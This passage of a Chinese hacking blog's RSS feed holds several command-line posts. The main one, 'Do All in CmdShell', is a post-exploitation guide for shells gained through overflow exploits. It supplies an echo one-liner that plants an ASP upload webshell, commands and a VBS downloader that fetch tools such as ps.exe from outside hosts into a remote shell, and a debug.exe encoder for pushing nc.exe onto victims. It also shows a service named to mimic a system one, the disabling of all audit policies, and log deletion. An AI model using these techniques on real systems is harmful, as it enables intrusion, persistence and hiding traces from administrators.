<p>返回结果:</p>
<p>D:&gt;VDir.exe -n:yfd -p:c: -i:1 -c:1 -r:1,2,4</p>
<p>Result :</p>
<p>IP : 127.0.0.1<br />
Port : 80<br />
HostName :</p>
<p>Path Is: E:ScriptWEBTEST<br />
Index IS: 1<br />
Comment : 默认 Web 站点</p>
<p>create success.</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/117.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>netsh配置防火墙</title>
		<link>http://www.4shell.org/archives/116.html</link>
		<comments>http://www.4shell.org/archives/116.html#comments</comments>
		<pubDate>Sun, 26 Nov 2006 02:03:24 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/116.html</guid>
		<description><![CDATA[现在越来越多的服务器用的是ICS防火墙，配合ipsec来管理远程登陆和端口安全<br />搞的真是要天下无黑了<br />很多服务器直接打下来却连不上3389，仔细分析完也没找到什么防火墙或者新鲜软件，ipsec服务关闭以后也没效果。着实郁闷了一翻<br />想一想就是自带ICS搞的鬼吧<br />
]]></description>
			<content:encoded><![CDATA[<p>现在越来越多的服务器用的是ICS防火墙，配合ipsec来管理远程登陆和端口安全<br />
搞的真是要天下无黑了<br />
很多服务器直接打下来却连不上3389，仔细分析完也没找到什么防火墙或者新鲜软件，ipsec服务关闭以后也没效果。着实郁闷了一翻<br />
想一想就是自带ICS搞的鬼吧</p>
<p>服务中显示：<br />
Windows Firewall/Internet Connection Sharing (ICS)<br />
我们可以用<br />
net stop "Windows Firewall/Internet Connection Sharing (ICS)"直接关闭，但是并未给提示，而且也没有起到效果，3389依然连接不上<br />
net start之时却提示服务启动~~~郁闷ing<br />
请教n多朋友,有的说停止服务，有的说kill进程，均告失败。终于在俺哥那里找到了答案，现分享出来<br />
C:\&gt;netsh<br />
netsh&gt;firewall<br />
netsh firewall&gt;show</p>
<p>下列指令有效:</p>
<p>命令从 netsh 上下文继承:<br />
show alias - 列出所有定义过的别名。<br />
show helper - 请列出所有头等助手。<br />
show mode - 显示当前的模式。</p>
<p>此上下文中的命令:<br />
show allowedprogram - 显示防火墙允许的程序配置。<br />
show config - 显示防火墙配置。<br />
show currentprofile - 显示当前防火墙配置文件。<br />
show icmpsetting - 显示防火墙 ICMP 配置。<br />
show logging - 显示防火墙记录配置。<br />
show multicastbroadcastresponse - 显示防火墙多播/广播响应配置。<br />
show notifications - 显示防火墙操作配置。<br />
show opmode - 显示防火墙端口配置。<br />
show portopening - 显示防火墙端口配置。<br />
show service - 显示防火墙服务配置。<br />
show state - 显示当前防火墙状态。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/116.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>加密CMD使电脑溢出也拿不到CMD权限</title>
		<link>http://www.4shell.org/archives/112.html</link>
		<comments>http://www.4shell.org/archives/112.html#comments</comments>
		<pubDate>Wed, 15 Nov 2006 12:41:34 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/112.html</guid>
		<description><![CDATA[以下是lock.bat文件<br /><br /><br />@echo&#160;off<br />title&#160;密码验证
]]></description>
			<content:encoded><![CDATA[<p>以下是lock.bat文件</p>
<p>@echo off<br />
title 密码验证<br />
SETLOCAL<br />
set pwd=0<br />
set times=3</p>
<p>echo ________________________________________________________________________________<br />
echo  您现在使用的是[Anlge]的CMD，没有经过[Angle]的允许不能执行任何命令，<br />
echo  您的这次使用的所有操作以及留言都已经记入日志，如果您还没有密码，那请与<br />
echo  [Angle]联系，已经有密码了请您输入密码！<br />
echo ________________________________________________________________________________<br />
echo ####################################################################### &gt;&gt; e:\CMD\mylog.txt<br />
echo  操作： 激活密码验证      时间：%time%    日期：%date% &gt;&gt; e:\CMD\mylog.txt<br />
echo  状态： 等待验证…… &gt;&gt; e:\CMD\mylog.txt<br />
echo. &gt;&gt; e:\CMD\mylog.txt<br />
echo                                 [ LOGIN ]</p>
<p>:password<br />
set /p pwd= 请输入您的密码：<br />
set /A times=%times%-1<br />
if %pwd%==fangzi goto pass<br />
echo ***** 密码验证错误，请您重新输入   您还有 %times% 次机会输入密码 *****<br />
echo .<br />
if %times%==0 goto close<br />
echo  状态： 用户输入密码  验证失败               时间：%time% &gt;&gt; e:\CMD\mylog.txt<br />
goto password</p>
<p>:close<br />
echo  状态： 用户3次输入密码错误  程序锁定        时间：%time% &gt;&gt; e:\CMD\mylog.txt<br />
title 对不起，您无法使用[Angle]的CMD<br />
echo --------------------------------------------------------------------------------<br />
echo  由于您3次密码验证失败，程序已经被锁定，您已经无法继续操作，您可以选择关闭<br />
echo  本窗口,您也可以通过留言来与[Angle]取得联系，输入留言后，请按回车提交！<br />
echo --------------------------------------------------------------------------------<br />
echo                                [ MESSAGES ]</p>
<p>:message<br />
echo ________________________________________________________________________________<br />
set /p msg= 请输入您的留言：<br />
echo . &gt;&gt; e:\CMD\mymsg.txt<br />
echo ####################################################################### &gt;&gt; e:\CMD\mymsg.txt<br />
echo 日期：%date%       时间：%time% &gt;&gt; e:\CMD\mymsg.txt<br />
echo 留言内容： &gt;&gt; e:\CMD\mymsg.txt<br />
echo           %msg% &gt;&gt; e:\CMD\mymsg.txt<br />
echo. &gt;&gt; c:\message.txt<br />
echo     …… OK ……<br />
echo   您的留言已经记录，您可以选择关闭窗口也可以选择继续留言<br />
echo  操作： 用户留言                    时间：%time% &gt;&gt; e:\CMD\mylog.txt<br />
goto message</p>
<p>:pass<br />
echo  状态： 程序已开放，欢迎使用      时间：%time% &gt;&gt; e:\CMD\mylog.txt<br />
title [Angle]的CMD<br />
ENDLOCAL</p>
<p>-----------------------------------------------------------------</p>
<p>以下是setup.bat</p>
<p>@echo off<br />
copy /y lock.bat %windir%\lock.bat<br />
echo lock.bat安装成功<br />
regedit /s lock.reg<br />
echo lock.reg注册成功<br />
-----------------------------------------------------</p>
<p>用来卸装的文件<br />
以下是unlock.reg</p>
<p>@echo off<br />
del /f lock.bat %windir%\lock.bat<br />
echo lock.bat删除成功<br />
regedit /s unlock.reg<br />
echo lock.reg反注册成功</p>
<p>------------------------------------------------------</p>
<p>双击setup.bat即可安装！</p>
<p>在使用CMD时，密码为fangzi （全为小写，这里的密码对大小写敏感）<br />
所有的日志存放在E:\CMD\mylog.txt中<br />
所有的留言存放在E:\CMD\mymsg.txt中</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/112.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Do All in CmdShell</title>
		<link>http://www.4shell.org/archives/17.html</link>
		<comments>http://www.4shell.org/archives/17.html#comments</comments>
		<pubDate>Thu, 21 Sep 2006 02:57:12 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/17.html</guid>
		<description><![CDATA[Do All in Cmd Shell (一切尽在命令行)<br/><br/>-------------------------------------------------------<br/>zzzEVAzzz <zzzevazzz@126.com><br/><a href="http://www.isgrey.com"  target="_blank">http://www.isgrey.com</a><br/>2004-04-24<br/>-------------------------------------------------------<br/><br/><br/>目录<br/>1，前言<br/>2，文件传输<br/>3，系统配置<br/>4，网络配置<br/>5，软件安装<br/>6，Windows脚本<br/>7，附言<br/>
]]></description>
			<content:encoded><![CDATA[<p>Do All in Cmd Shell (一切尽在命令行)<br/><br/>-------------------------------------------------------<br/>zzzEVAzzz <zzzevazzz@126.com><br/><a href="http://www.isgrey.com"  target="_blank">http://www.isgrey.com</a><br/>2004-04-24<br/>-------------------------------------------------------<br/><br/><br/>目录<br/>1，前言<br/>2，文件传输<br/>3，系统配置<br/>4，网络配置<br/>5，软件安装<br/>6，Windows脚本<br/>7，附言<br/><br/><br/>前言<br/>Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。<br/>本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。<br/><br/><br/>文件传输<br/>对于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大家熟悉的办法，作为总结我再提一下：<br/><br/>1，用Echo命令写ASP木马。<br/>前提当然是目标主机上已经安装了IIS。<br/>一般的ASP木马"体积"较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。<br/>直接给出echo版：<br/><br/>@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp<br/><br/>注意，只有一行，中间没有回车符。<br/>生成的up.asp不能用浏览器访问，只能用下面这个脚本：<br/><br/>with wscript<br/>if .arguments.count<3 then .quit<br/>url=.arguments(0)&#038;"?s="&#038;.arguments(2)<br/>fn=.arguments(1)<br/>end with<br/>with createobject("adodb.stream")<br/>.type=1:.open:.loadfromfile fn:s=.read:.close<br/>end with<br/>with createobject("microsoft.xmlhttp")<br/>.open "post",url,false:.send s<br/>wscript.echo .statustext<br/>end with<br/><br/>将其保存为up.vbs。假设目标IP为123.45.67.89，up.asp在IIS虚拟根目录下，需要上传的文件为nc.exe，上传后保存为mm.exe，相应的命令是：<br/><br/>cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe<br/><br/>注意，这个命令是在本地命令行中执行的，不要弄错了。<br/><br/>另外，通过IIS上传会留日志，要记得清除哦。<br/><br/>2，自动下载到网页缓存中。<br/>例如：<br/><br/>start its:http://www.sometips.com/soft/ps.exe<br/><br/>在远程shell中执行上面这个命令后，ps.exe已经下载到目标主机的网页缓存目录中了。然后：<br/><br/>cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"<br/>dir /s ps[1].exe<br/><br/>于是获得ps.exe的具体位置(每台主机都不一样)，如：<br/><br/>C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录<br/><br/>2004-01-24 14:24 49,152 ps[1].exe<br/>1 个文件 49,152 字节<br/><br/>最后：<br/>copy AB094JIT\ps[1].exe c:\path\ps.exe<br/>del AB094JIT\ps[1].exe<br/><br/>补充说明：<br/>对于以服务为启动方式的后门所提供的shell，其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System，需要修改Default User为相应的用户名。<br/>本方法会启动一个IE进程，记得要将它杀掉。如果是System身份的shell，不会在本地出现窗口而暴露。<br/>另外，用ms-its代替its效果完全一样。<br/><br/>3，Echo一个脚本下载web资源。<br/>现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。<br/>仍然是echo版：<br/><br/>@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs<br/>@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs<br/>@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs<br/>@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs<br/><br/>举例——下载ps.exe并保存到c:\path下：<br/><br/>cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe<br/><br/>注意，这是在远程shell中执行的。<br/><br/>4，Echo经过编码的任何文件，再用脚本+debug还原。<br/>前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出"杀手锏"了！<br/><br/>echo命令加重定向操作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符，才能方便地写入远程主机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位操作，因此编码和解码较复杂。更麻烦的是，脚本以二进制流方式处理文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串，但反过来不行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）<br/><br/>无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果——编码脚本：<br/><br/>fp=wscript.arguments(0)<br/>fn=right(fp,len(fp)-instrrev(fp,"\"))<br/>with createobject("adodb.stream")<br/>.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)<br/>end with<br/>sll=sl mod 65536:slh=sl\65536<br/>with createobject("scripting.filesystemobject").opentextfile(fp&#038;".bat",2,true)<br/>.write "@echo str="""<br/>for i=1 to sl<br/>bt=ascb(midb(str,i,1))<br/>if bt<16 then .write "0"<br/>.write hex(bt)<br/>if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""<br/>next<br/>.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_<br/>+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_<br/>+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"<br/>.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_<br/>+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_<br/>+">>debug.vbs&#038;&cscript //nologo debug.vbs|debug.exe>nul&#038;&ren debug.tmp """&#038;fn&#038;"""&#038;del debug.vbs"<br/>end with<br/><br/>将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：<br/><br/>cscript echo.vbs nc.exe<br/><br/>也可以直接把要传输的文件的图标拖放到脚本文件的图标上。<br/>稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：<br/><br/>@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs<br/>@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs<br/>@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs<br/>@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs<br/>…………<br/>…………（省略若干行）<br/>…………<br/>@echo +"">>debug.vbs<br/>@echo with wscript<br />
.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs<br/>@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&#038;&cscript //nologo debug.vbs|debug.exe>nul&#038;&ren debug.tmp "NC.EXE"&#038;del debug.vbs<br/><br/>全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。<br/>如果网速不是很慢的话，整个上传过程大约需要20秒。<br/><br/>几点说明：<br/>1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。<br/>2，在传输大文件前，可以先传个小的文件作为"热身"，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。<br/>3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。<br/>4，单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。<br/>5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量（因为压缩了数据）。如果有时间，我会写一个更完善的脚本，加强数据压缩能力，增加数据校验功能。<br/><br/>能上传文件当然一切都好办了，但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。<br/><br/><br/>系统配置<br/>这节包括三方面内容：注册表、服务和组策略。<br/><br/>先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。<br/>好在系统自带的regedit.exe足够用了。<br/><br/>1，读取注册表<br/>先将想查询的注册表项导出，再用type查看，比如：<br/><br/>C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"<br/><br/>C:\>type 1.reg | find "PortNumber"<br/>"PortNumber"=dword:00000d3d<br/><br/>C:\>del 1.reg<br/><br/>所以终端服务的端口是3389（十六进制d3d）<br/><br/>2，修改/删除注册表项<br/>先echo一个reg文件，然后导入，比如：<br/><br/>echo Windows Registry Editor Version 5.00 >1.reg<br/>echo. >>1.reg<br/>echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg<br/>echo "TelnetPort"=dword:00000913 >>1.reg<br/>echo "NTLM"=dword:00000001 >>1.reg<br/>echo. >>1.reg<br/>regedit /s 1.reg<br/><br/>将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。<br/><br/>要删除一个项，在名字前面加减号，比如：<br/><br/>[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]<br/><br/>要删除一个值，在等号后面用减号，比如：<br/><br/>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br/>"KAVRun"=-<br/><br/>3，用inf文件访问注册表<br/>上面对注册表的三个操作，也可以用下面这个inf文件来实现：<br/><br/>[Version]<br/>Signature="$WINDOWS NT$"<br/>[DefaultInstall]<br/>AddReg=My_AddReg_Name<br/>DelReg=My_DelReg_Name<br/>[My_AddReg_Name]<br/>HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323<br/>HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1<br/>[My_DelReg_Name]<br/>HKLM,SYSTEM\CurrentControlSet\Services\Serv-U<br/>HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun<br/><br/>将它写入c:\path\reg.inf然后用下面这个命令"安装"：<br/><br/>rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf<br/><br/>几点说明：<br/>1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。<br/>0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。<br/>2323也可以用0x913代替。<br/>关于inf文件的详细信息，可以参考DDK帮助文档。<br/>2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。<br/>128表示给定路径，该参数其他取值及含义参见MSDN。<br/>特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。<br/>3，inf文件中的项目都是大小写不敏感的。<br/><br/><br/>接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后面会提到。还是得靠inf文件出马。<br/><br/>增加一个服务：<br/><br/>[Version]<br/>Signature="$WINDOWS NT$"<br/>[DefaultInstall.Services]<br/>AddService=inetsvr,,My_AddService_Name<br/>[My_AddService_Name]<br/>DisplayName=Windows Internet Service<br/>Description=提供对 Internet 信息服务管理的支持。<br/>ServiceType=0x10<br/>StartType=2<br/>ErrorControl=0<br/>ServiceBinary=%11%\inetsvr.exe<br/><br/>保存为inetsvr.inf，然后：<br/><br/>rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf<br/><br/>这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。<br/><br/>几点说明：<br/>1，最后四项分别是<br/>服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；<br/>启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。<br/>（注意，0和1只能用于驱动程序）<br/>错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。<br/>服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。<br/>这四项是必须要有的。<br/>2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。<br/>3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。<br/><br/>删除一个服务：<br/><br/>[Version]<br/>Signature="$WINDOWS NT$"<br/>[DefaultInstall.Services]<br/>DelService=inetsvr<br/><br/>很简单，不是吗？<br/><br/>当然，你也可以通过导入注册表达到目的。但inf自有其优势。<br/>1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：<br/>"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\<br/>74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\<br/>00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00<br/>可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。<br/>2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。<br/>3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。<br/><br/>另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。<br/><br/><br/>最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。<br/><br/>先看secedit命令语法：<br/>secedit /analyze<b<br />
r/>secedit /configure<br/>secedit /export <br/>secedit /validate<br/>secedit /refreshpolicy <br/>5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。<br/><br/>与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：<br/><br/>假设我要将密码长度最小值设置为6，并启用"密码必须符合复杂性要求"，那么先写这么一个模板：<br/><br/>[version]<br/>signature="$CHICAGO$"<br/>[System Access]<br/>MinimumPasswordLength = 6<br/>PasswordComplexity = 1<br/><br/>保存为gp.inf，然后导入：<br/><br/>secedit /configure /db gp.sdb /cfg gp.inf /quiet<br/><br/>这个命令执行完成后，将在当前目录产生一个gp.sdb，它是"中间产品"，你可以删除它。<br/>/quiet参数表示"安静模式"，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：<br/><br/>secedit /configure /db gp.sdb /cfg gp.inf /log gp.log<br/>del gp.*<br/><br/>另外，在导入模板前，还可以先分析语法是否正确：<br/><br/>secedit /validate gp.inf<br/><br/>那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。<br/><br/>再举个例子——关闭所有的"审核策略"。（它所审核的事件将记录在事件查看器的"安全性"里）。<br/>echo版：<br/><br/>echo [version] >1.inf<br/>echo signature="$CHICAGO$" >>1.inf<br/>echo [Event Audit] >>1.inf<br/>echo AuditSystemEvents=0 >>1.inf<br/>echo AuditObjectAccess=0 >>1.inf<br/>echo AuditPrivilegeUse=0 >>1.inf<br/>echo AuditPolicyChange=0 >>1.inf<br/>echo AuditAccountManage=0 >>1.inf<br/>echo AuditProcessTracking=0 >>1.inf<br/>echo AuditDSAccess=0 >>1.inf<br/>echo AuditAccountLogon=0 >>1.inf<br/>echo AuditLogonEvents=0 >>1.inf<br/>secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet<br/>del 1.*<br/><br/>也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。<br/><br/>比如，XP和2003的"本地策略"－》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典"：<br/><br/>echo Windows Registry Editor Version 5.00 >1.reg<br/>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg<br/>echo "forceguest"=dword:00000000 >>1.reg<br/>regedit /s 1.reg<br/>del 1.reg<br/><br/>而相应的用inf，应该是：<br/><br/>echo [version] >1.inf<br/>echo signature="$CHICAGO$" >>1.inf<br/>echo [Registry Values] >>1.inf<br/>echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf<br/>secedit /configure /db 1.sdb /cfg 1.inf /log 1.log<br/>del 1.*<br/><br/>关于命令行下读取组策略的问题。<br/>系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：<br/><br/>secedit /export /cfg gp.inf /log 